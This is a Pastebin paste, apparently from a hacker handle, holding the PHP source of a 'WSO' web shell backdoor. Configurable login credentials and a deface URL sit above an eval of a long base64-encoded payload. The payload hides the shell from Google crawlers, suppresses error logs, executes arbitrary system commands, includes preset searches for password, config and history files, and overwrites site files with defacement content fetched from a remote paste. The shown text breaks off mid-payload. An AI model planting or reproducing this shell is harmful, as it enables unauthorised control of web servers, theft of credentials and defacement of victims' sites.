Zee_Haxor

Wso Shell

Jul 25th, 2018
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 98.70 KB | None | 0 0
  1. <?php
  2. /*
  3.  
  4. 1337 H3r3.. <3
  5. Edit Shell according to your choice.
  6. Domain read bypass.
  7. Enjoy!
  8.  
  9. */
  10. //Make your setting here.
  11. $deface_url = 'http://pastebin.com/raw.php?i=FHfxsFGT'; //deface url here(pastebin).
  12. $UserName = "1337"; //Your UserName here.
  13. $auth_pass = "1337"; //Your Password.
  14. //Change Shell Theme here//
  15. $color = "#ABEFFF"; //Fonts color modify here.
  16. $Theme = '#09B5A6'; //Change border-color accoriding to your choice.
  17. $TabsColor = '#0E5061'; //Change tabs color here.
  18. #-------------------------------------------------------------------------------
  19.  
  20. ?>
  21. <?php
  22. eval("?>" . base64_decode("PD9waHAKCiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CkBkZWZpbmUoJ1NFTEZfUEFUSCcsIF9fRklMRV9fKTsKaWYoIHN0cnBvcygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0dvb2dsZScpICE9PSBmYWxzZSApIHsKICAgIGhlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpOwogICAgZXhpdDsKfQoKQHNlc3Npb25fc3RhcnQoKTsKQGVycm9yX3JlcG9ydGluZygwKTsKQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7CkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsMCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywwKTsKQGluaV9zZXQoJ21heF9leGVjdXRpb25fdGltZScsMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsKaWYoIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkgKSB7CiAgICBmdW5jdGlvbiBzdHJpcHNsYXNoZXNfYXJyYXkoJGFycmF5KSB7CiAgICAgICAgcmV0dXJuIGlzX2FycmF5KCRhcnJheSkgPyBhcnJheV9tYXAoJ3N0cmlwc2xhc2hlc19hcnJheScsICRhcnJheSkgOiBzdHJpcHNsYXNoZXMoJGFycmF5KTsKICAgIH0KICAgICRfUE9TVCA9IHN0cmlwc2xhc2hlc19hcnJheSgkX1BPU1QpOwp9CgpmdW5jdGlvbiBwcmludExvZ2luKCkgewogaWYgKCRfUE9TVFsncGFzcyddICE9ICRhdXRoX3Bhc3MgJiYgJF9QT1NUWyd1bmFtZSddICE9ICRVc2VyTmFtZSkgewogICAgJHN0YXR1cyA9ICdXcm9uZyBQYXNzd29yZCBvciBVc2VyTmFtZSA6KCc7CiAgICAKCn0KCj8+Cgo8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5aIEhhb3hyIHYzPC90aXRsZT4KPGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUpvc2VmaW4rU2Fuczo0MDAsMTAwIiByZWw9InN0eWxlc2hlZXQiPgo8L2hlYWQ+CjxzdHlsZT4KYm9keXsKICAgZm9udC1mYW1pbHk6IEpvc2VmaW4gU2Fucywgc2Fucy1zZXJpZjsKICAgIGJhY2tncm91bmQ6IGJsYWNrOwogICAgY29sb3I6I0FCRUZGRjsKfQogICAgLmxvZ2lucGFnZSBpbWd7CiAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgICAgIGhlaWdodDogMTUwcHg7CiAgICB9CiAgICAubG9naW5wYWdlewogICAgICAgIGhlaWdodDogNDAwcHg7CiAgICAgICAgd2lkdGg6IDUwMHB4OwogICAgICAgIGJvcmRlcjoxcHggc29saWQ7CiAgICAgICAgYm9yZGVyLWNvbG9yOiNBQkVGRkY7CiAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyOwogICAgICAgIGJvcmRlci1yYWRpdXM6IDVweDsKICAgICAgICBtYXJnaW4tdG9wOiAxMDBweDsKICAgIH0KICAgICNwYWdlaGVhZGluZ3sKICAgICAgICBmb250LXNpemU6MjVweDsKICAgICAgICBjb2xvcjojQUJFRkZGOwogICAgICAgIG1hcmdpbi10b3A6IDEwcHg7CiAgICB9CiAgICAubG9naW5wYWdlIGltZ3sKICAgICAgICB3aWR0aDogNTAwcHg7CiAgICAKICAgIH0KICAgIGlucHV0ewogICAgICAgIGJhY2tncm91bmQ6IGJsYWNrOwogICAgICAgIGJvcmRlci1jb2xvcjojQUJFRkZGOwogICAgICAgIGJvcmRlci1yYWRpdXM6IDEwcHg7CiAgICAgICAgbWFyZ2luLXRvcDogMTBweDsgCiAgICAgICAgcGFkZGluZzo1cHg7CiAgICAgICAgY29sb3I6ICNBQkVGRkY7CiAgICB9CiAgICAgaW5wdXQ6aG92ZXJ7CiAgICAgICAgYmFja2dyb3VuZDogI0FCRUZGRjsKICAgICAgICBjb2xvcjogcmVkOwoKICAgICB9Cgo8L3N0eWxlPgo8Ym9keT4KPGNlbnRlcj4KPGRpdiBjbGFzcz0ibG9naW5wYWdlIj4KICAgIDxpbWcgc3JjPSJodHRwczovL3ByZXZpZXcuaWJiLmNvL2lmRXFOZC96aGF4b3IuanBnIiBhbHQ9IlogSGFveHIgTG9nbyI+CiAgICA8ZGl2IGlkPSJwYWdlaGVhZGluZyI+WiBIYW94ciBTaGVsbCBWMzwvZGl2PgogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4KICAgICAgICBVc2VyIE5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1bmFtZSIgPjxicj4KICAgICAgICBQYXNzd29yZCA6ICA8aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InBhc3MiID48YnI+CiAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJsb2dpbiIgdmFsdWU9IkxvZ2luIj4KIDw/cGhwCgogIGlmIChpc3NldCgkc3RhdHVzKSkgewogICA/PiAgCiAKCiAgICAgCgogICAgPC9mb3JtPgogICAKPC9kPHA+PD89JHN0YXR1cz8+PC9wPiAKPC9jZW50ZXI+CjwvYm9keT4KPC9odG1sPgoKPD9waHAKCgogIH0gICAgICAKICAgIGV4aXQ7Cn0KCmlmKCAhaXNzZXQoICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gKSkKICAgIGlmKCBlbXB0eSggJGF1dGhfcGFzcyApIHx8CiAgICAgICAgKCBpc3NldCggJF9QT1NUWydwYXNzJ10gKSAmJiAgKCRfUE9TVFsncGFzcyddKSA9PSAkYXV0aF9wYXNzICAmJiAoJF9QT1NUWyd1bmFtZSddKSA9PSAkVXNlck5hbWUpKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cnVlOwoKICAgIGVsc2UKICAgICAgICAKICAgICAgICBwcmludExvZ2luKCk7CgppZiggc3RydG9sb3dlciggc3Vic3RyKFBIUF9PUywwLDMpICkgPT0gIndpbiIgKQogICAgJG9zID0gJ3dpbic7CmVsc2UKICAgICRvcyA9ICduaXgnOwokc2FmZV9tb2RlID0gQGluaV9nZXQoJ3NhZmVfbW9kZScpOwokZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKJGhvbWVfY3dkID0gQGdldGN3ZCgpOwppZiggaXNzZXQoICRfUE9TVFsnYyddICkgKQogICAgQGNoZGlyKCRfUE9TVFsnYyddKTsKJGN3ZCA9IEBnZXRjd2QoKTsKaWYoICRvcyA9PSAnd2luJykgewogICAgJGhvbWVfY3dkID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCAkaG9tZV9jd2QpOwogICAgJGN3ZCA9IHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJGN3ZCk7Cn0KaWYoICRjd2Rbc3RybGVuKCRjd2QpLTFdICE9ICcvJyApCiAgICAkY3dkIC49ICcvJzsKICAgIAppZigkb3MgPT0gJ3dpbicpIHsKICAgICRhbGlhc2VzID0gYXJyYXkoCiAgICAgICAgIkxpc3QgRGlyZWN0b3J5IiA9PiAiZGlyIiwKICAgICAgICAiRmluZCBpbmRleC5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgaW5kZXgucGhwIiwKICAgICAgICAiRmluZCAqY29uZmlnKi5waHAgaW4gY3VycmVudCBkaXIiID0+ICJkaXIgL3MgL3cgL2IgKmNvbmZpZyoucGhwIiwKICAgICAgICAiU2hvdyBhY3RpdmUgY29ubmVjdGlvbnMiID0+ICJuZXRzdGF0IC1hbiIsCiAgICAgICAgIlNob3cgcnVubmluZyBzZXJ2aWNlcyIgPT4gIm5ldCBzdGFydCIsCiAgICAgICAgIlVzZXIgYWNjb3VudHMiID0+ICJuZXQgdXNlciIsCiAgICAgICAgIlNob3cgY29tcHV0ZXJzIiA9PiAibmV0IHZpZXciLAogICAgICAgICJBUlAgVGFibGUiID0+ICJhcnAgLWEiLAogICAgICAgICJJUCBDb25maWd1cmF0aW9uIiA9PiAiaXBjb25maWcgL2FsbCIKICAgICk7Cn0gZWxzZSB7CiAgICAkYWxpYXNlcyA9IGFycmF5KAogICAgICAgICAgIkxpc3QgZGlyIiA9PiAibHMgLWxhIiwKICAgICAgICAibGlzdCBmaWxlIGF0dHJpYnV0ZXMgb24gYSBMaW51eCBzZWNvbmQgZXh0ZW5kZWQgZmlsZSBzeXN0ZW0iID0+ICJsc2F0dHIgLXZhIiwKICAgICAgICAgICJzaG93IG9wZW5lZCBwb3J0cyIgPT4gIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iLAogICAgICAgICJGaW5kIiA9PiAiIiwKICAgICAgICAgICJmaW5kIGFsbCBzdWlkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgICAgICAgICAiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIsCiAgICAgICAgICAiZmluZCBhbGwgc2dpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogICAgICAgICAgImZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiLAogICAgICAgICAgImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBjb25maWcuaW5jLnBocCIsCiAgICAgICAgICAiZmluZCBjb25maWcqIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgXCJjb25maWcqXCIiLAogICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIgPT4gImZpbmQgLyAtcGVybSAtMiAtbHMiLAogICAgICAgICAgImZpbmQgYWxsIHdyaXRhYmxlIGZvbGRlcnMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC1wZXJtIC0yIC1scyIsCiAgICAgICAgICAiZmluZCBhbGwgc2VydmljZS5wd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgICAgICAgICAiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIHNlcnZpY2UucHdkIiwKICAgICAgICAgICJmaW5kIGFsbCAuaHRwYXNzd2QgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtbmFtZSAuaHRwYXNzd2QiLAogICAgICAgICAgImZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAgICAgICAgICJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgICAgICAgICAiZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyIiA9PiAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmJhc2hfaGlzdG9yeSIsCiAgICAgICAgICAiZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiwKICAgICAgICAgICJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiAgICAgICAgIkxvY2F0ZSIgPT4gIiIsCiAgICAgICAgICAibG9jYXRlIGh0dHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgaHR0cGQuY29uZiIsCiAgICAgICAgImxvY2F0ZSB2aG9zdHMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSB2aG9zdHMuY29uZiIsCiAgICAgICAgImxvY2F0ZSBwcm9mdHBkLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgcHJvZnRwZC5jb25mIiwKICAgICAgICAibG9jYXRlIHBzeWJuYy5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHBzeWJuYy5jb25mIiwKICAgICAgICAibG9jYXRlIG15LmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgbXkuY29uZiIsCiAgICAgICAgImxvY2F0ZSBhZG1pbi5waHAgZmlsZXMiID0+ImxvY2F0ZSBhZG1pbi5waHAiLAogICAgICAgICJsb2NhdGUgY2ZnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjZmcucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmYucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmYucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5kYXQgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRhdCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcucGhwIGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnLmluYyBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuaW5jIiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiA9PiAibG9jYXRlIGNvbmZpZy5pbmMucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5kZWZhdWx0LnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAiLAogICAgICAgICJsb2NhdGUgY29uZmlnKiBmaWxlcyAiID0+ICJsb2NhdGUgY29uZmlnIiwKICAgICAgICAibG9jYXRlIC5jb25mIGZpbGVzIj0+ImxvY2F0ZSAnLmNvbmYnIiwKICAgICAgICAibG9jYXRlIC5wd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5wd2QnIiwKICAgICAgICAibG9jYXRlIC5zcWwgZmlsZXMiID0+ICJsb2NhdGUgJy5zcWwnIiwKICAgICAgICAibG9jYXRlIC5odHBhc3N3ZCBmaWxlcyIgPT4gImxvY2F0ZSAnLmh0cGFzc3dkJyIsCiAgICAgICAgImxvY2F0ZSAuYmFzaF9oaXN0b3J5IGZpbGVzIiA9PiAibG9jYXRlICcuYmFzaF9oaXN0b3J5JyIsCiAgICAgICAgImxvY2F0ZSAubXlzcWxfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLm15c3FsX2hpc3RvcnknIiwKICAgICAgICAibG9jYXRlIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImxvY2F0ZSAnLmZldGNobWFpbHJjJyIsCiAgICAgICAgImxvY2F0ZSBiYWNrdXAgZmlsZXMiID0+ICJsb2NhdGUgYmFja3VwIiwKICAgICAgICAibG9jYXRlIGR1bXAgZmlsZXMiID0+ICJsb2NhdGUgZHVtcCIsCiAgICAgICAgImxvY2F0ZSBwcml2IGZpbGVzIiA9PiAibG9jYXRlIHByaXYiICAgIAogICAgKTsKfQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSAmJiAkX1BPU1RbJ3AxJ109PSdkZWZhY2UnKSB7CiAgICAgICAgCiAgICAgICAgJGRlZiA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRkZWZhY2VfdXJsKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkX1BPU1RbJ2MnXS4kX1BPU1RbJ3AyJ10sJGRlZik7CiAgICB9CmZ1bmN0aW9uIGV4KCRpbikgewogICAgJG91dCA9ICcnOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICBAZXhlYygkaW4sJG91dCk7CiAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7CiAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHBhc3N0aHJ1KCRpbik7CiAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBAc3lzdGVtKCRpbik7CiAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewogICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7CiAgICB9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgewogICAgICAgICRvdXQgPSAiIjsKICAgICAgICB3aGlsZSghQGZlb2YoJGYpKQogICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOwogICAgICAgIHBjbG9zZSgkZik7CiAgICB9CiAgICByZXR1cm4gJG91dDsKfQoKZnVuY3Rpb24gd2hpY2goJHApIHsKICAgICRwYXRoID0gZXgoJ3doaWNoICcuJHApOwogICAgaWYoIWVtcHR5KCRwYXRoKSkKICAgICAgICByZXR1cm4gJHBhdGg7CiAgICByZXR1cm4gZmFsc2U7Cn0KICAgIApmdW5jdGlvbiBwcmludEhlYWRlcigpIHsKICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7CiAgICBnbG9iYWwgJGNvbG9yOwogICAgZ2xvYmFsICRUaGVtZTsKICAgIGdsb2JhbCAkVGFic0NvbG9yOwogICAgICAgIGVjaG8gIjxodG1sPjxoZWFkPjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1Kb3NlZmluK1NhbnM6NDAwLDEwMCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+PC9oZWFkPiI7CiAgICBlY2hvICc8aHRtbD4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9Jy4kX1BPU1RbJ2NoYXJzZXQnXS4nIj48dGl0bGU+WiBIYW94ciB2MzwvdGl0bGU+CjxzdHlsZT4KICAgICAgICBib2R5IHtiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrO2NvbG9yOiNmZmY7fQogICAgICAgIGJvZHksdGQsdGggICAgeyBmb250LWZhbWlseTogSm9zZWZpbiBTYW5zLCBzYW5zLXNlcmlmO2ZvbnQtc2l6ZToxM3B4O21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDsgfQogICAgICAgIHNwYW4saDEsYSAgICB7IGNvbG9yOicuJGNvbG9yLicgIWltcG9ydGFudDsgfQogICAgICAgIHNwYW4gICAgICAgIHsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxICAgICAgICAgICAgeyBwYWRkaW5nOiAwcHggNXB4O2ZvbnQ6IDE0cHQgYXVkaW93aWRlO21hcmdpbjowcHggMCAwIDBweDsgfQogICAgICAgIGRpdi5jb250ZW50ICAgIHsgcGFkZGluZzogMHB4O21hcmdpbjowIDBweDtiYWNrZ3JvdW5kOiAjMEYxMDEwO2JvcmRlcjoxcHggc29saWQgJy4kVGhlbWUuJzsgYm9yZGVyLXJhZGl1czo1cHg7fQogICAgICAgIGEgICAgICAgICAgICB7IHRleHQtZGVjb3JhdGlvbjpub25lOyAgIH0KICAgICAgICBhOmhvdmVyICAgICAgICB7IGJvcmRlci1ib3R0b206MHB4IHNvbGlkICM1ZTVlNWU7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IH0KICAgICAgICBhOmhvdmVye2N1cnNvcjogdXJsKCJodHRwOi8vZG93bmxvYWRzLnRvdGFsbHlmcmVlY3Vyc29ycy5jb20vY3Vyc29yX2ZpbGVzL3Bha2lzdGFuLmFuaSIpLCB1cmwoImh0dHA6Ly9kb3dubG9hZHMudG90YWxseWZyZWVjdXJzb3JzLmNvbS90aHVtYm5haWxzL1BBS0lTVEFOLmdpZiIpLCBhdXRvO3RleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAubWwxICAgICAgICB7IGJvcmRlcjoxcHggc29saWQgJy4kVGhlbWUuJztwYWRkaW5nOnB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9CiAgICAgICAgLmJpZ2FyZWEgICAgeyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDttYXJnaW4tdG9wOjBweDsgYm9yZGVyLXJhZGl1czoxMHB4OyBib3JkZXItY29sb3I6Jy4kVGhlbWUuJzsgYmFja2dyb3VuZDojMkYyRjJGO30KICAgICAgICBpbnB1dCwgdGV4dGFyZWEsIHNlbGVjdCAgICB7IG1hcmdpbi10b3A6MDtjb2xvcjojNjNFMUZGO2JhY2tncm91bmQtY29sb3I6YmxhY2s7Ym9yZGVyLXJhZGl1czo1cHg7Ym9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nOyBib3JkZXItcmFkaXM6NXB4O2ZvbnQ6IDEwcHQgYXJpYWwsIkNvdXJpZXIgTmV3IjsgfQogICAgICAgIGlucHV0W3R5cGU9ImJ1dHRvbiJdOmhvdmVyLGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOiMwOTRGNjA7Y29sb3I6YmxhY2s7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSAKICAgICAgICBmb3JtICAgICAgICB7IG1hcmdpbjowcHg7IGJhY2tncm91bmQ6IzBGMTAxMDt9CiAgICAgICAgI3Rvb2xzVGJsICAgIHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnAgICAgeyB3aWR0aDogODAlOyBiYWNrZ3JvdW5kOmJsYWNrOyBib3JkZXItcmFkaXVzOjVweDsgYm9yZGVyLWNvbG9yOicuJFRoZW1lLic7IH0KICAgICAgICAubWFpbiB0aCAgICB7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6Jy4kVGFic0NvbG9yLic7fQogICAgICAgIC5tYWluIHRyOmhvdmVye2JhY2tncm91bmQ6Jy4kVGhlbWUuJzsgYm9yZGVyOjVweCBzb2xpZDtib3JkZXItY29sb3I6Jy4kVGhlbWUuJzt9CiAgICAgICAgLm1haW4gdGQsIHRoe3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt9CiAgICAgICAgLm1lbnUgeyBoZWlnaHQ6MzBweDsgYm9yZGVyLXJhZGl1czoxMHB4O30KICAgICAgICAubWVudSB0aHtwYWRkaW5nOjFweDtib3JkZXItcmFkaXVzOiA1cHg7ICBiYWNrZ3JvdW5kOicuJFRhYnNDb2xvci4nOyAgICAgLXdlYmtpdC10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7CiAgICAtbW96LXRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTsKICAgIC1vLXRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTsKICAgIC1tcy10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7CiAgICB0cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7fQogICAgICAgIC5tZW51IHRoOmhvdmVye2JhY2tncm91bmQ6IzBGMTAxMDt0ZXh0LWRlY29yYXRpb246IG5vbmU7fQogICAgICAgICAgICAgICAgcHJlIHtmb250LWZhbWlseTogSm9zZWZpbiBTYW5zLCBzYW5zLXNlcmlmO2NvbG9yOiNGRkZGRkY7fQogICAgICAgICNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9CgogICAgICAgICAgICAgICAgCiAgICAgICAgLmNwciB7bWFyZ2luLWJvdHRvbTo1cHg7Zm9udC13ZWlnaHQ6Ym9sZDsgfQogICAgICAgIC5jcGIge3dpZHRoOjM0cHg7bWFyZ2luOjAgNXB4O30KICAgICAgICAKICAgICAgICAubnBvYWQgdGQge3BhZGRpbmc6MDt9CiAgICAgICAgI1ogSGFveHJ0b29sc3sKICAgICAgICBtYXJnaW4tdG9wOjUwcHg7CiAgICAgICAgd2lkdGg6NTAwcHg7CiAgICAgICAgYm9yZGVyOjFweCBzb2xpZDsKICAgICAgICBib3JkZXItcmFkaXVzOjEwcHg7CiAgICB9CiAgICAuWiBIYW94cmxvZ28gdGR7CiAgICAgICAgZm9udC1zaXplOjEycHg7CiAgICAgICAgZm9udC13ZWlnaHQ6Ym9sZDsKICAgICAgICAKCgogICAgfQogICAgLlogSGFveHJsb2dvewogICAgICAgIG1hcmdpbi1sZWZ0OjVweDsKICAgICAgICBiYWNrZ3JvdW5kOnVybChodHRwczovL3ByZXZpZXcuaWJiLmNvL2lmRXFOZC96aGF4b3IuanBnKTsKICAgICAgICBiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OwogICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogQ0VOVEVSOyAKICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiMwRjEwMTA7CiAgICAgICAgYmFja2dyb3VuZC1zaXplOiA0MDBweCAxMjBweDsKCgoKICAgIH0KICAgIDwvc3R5bGU+Cgo8L2h0bWw+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+Ym9keSwgYTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Y3Vyc29yOiB1cmwoaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3JzL2N1ci0xMS9jdXIxMDU0LmN1ciksIHByb2dyZXNzICFpbXBvcnRhbnQ7fTwvc3R5bGU+PGEgaHJlZj0iaHR0cDovL3d3dy5jdXJzb3JzLTR1LmNvbS9jdXJzb3IvMjAxMi8wMi8xMS9jaHJvbWUtcG9pbnRlci5odG1sIiB0YXJnZXQ9Il9ibGFuayIgdGl0bGU9IkNocm9tZSBQb2ludGVyIj48aW1nIHNyYz0iaHR0cDovL2N1ci5jdXJzb3JzLTR1Lm5ldC9jdXJzb3IucG5nIiBib3JkZXI9IjAiIGFsdD0iQ2hyb21lIFBvaW50ZXIiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTsgdG9wOiAwcHg7IHJpZ2h0OiAwcHg7IiAvPjwvYT4KICAgIDxzY3JpcHQ+CiAgICAgICAgZnVuY3Rpb24gc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7CiAgICAgICAgICAgIGlmKGMgIT0gbnVsbClkb2N1bWVudC5tZi5jLnZhbHVlPWM7CiAgICAgICAgICAgIGlmKHAxICE9IG51bGwpZG9jdW1lbnQubWYucDEudmFsdWU9cDE7CiAgICAgICAgICAgIGlmKHAyICE9IG51bGwpZG9jdW1lbnQubWYucDIudmFsdWU9cDI7CiAgICAgICAgICAgIGlmKHAzICE9IG51bGwpZG9jdW1lbnQubWYucDMudmFsdWU9cDM7CiAgICAgICAgICAgIGlmKGNoYXJzZXQgIT0gbnVsbClkb2N1bWVudC5tZi5jaGFyc2V0LnZhbHVlPWNoYXJzZXQ7CiAgICAgICAgfQogICAgICAgIGZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKICAgICAgICAgICAgZG9jdW1lbnQubWYuc3VibWl0KCk7CiAgICAgICAgfQogICAgIC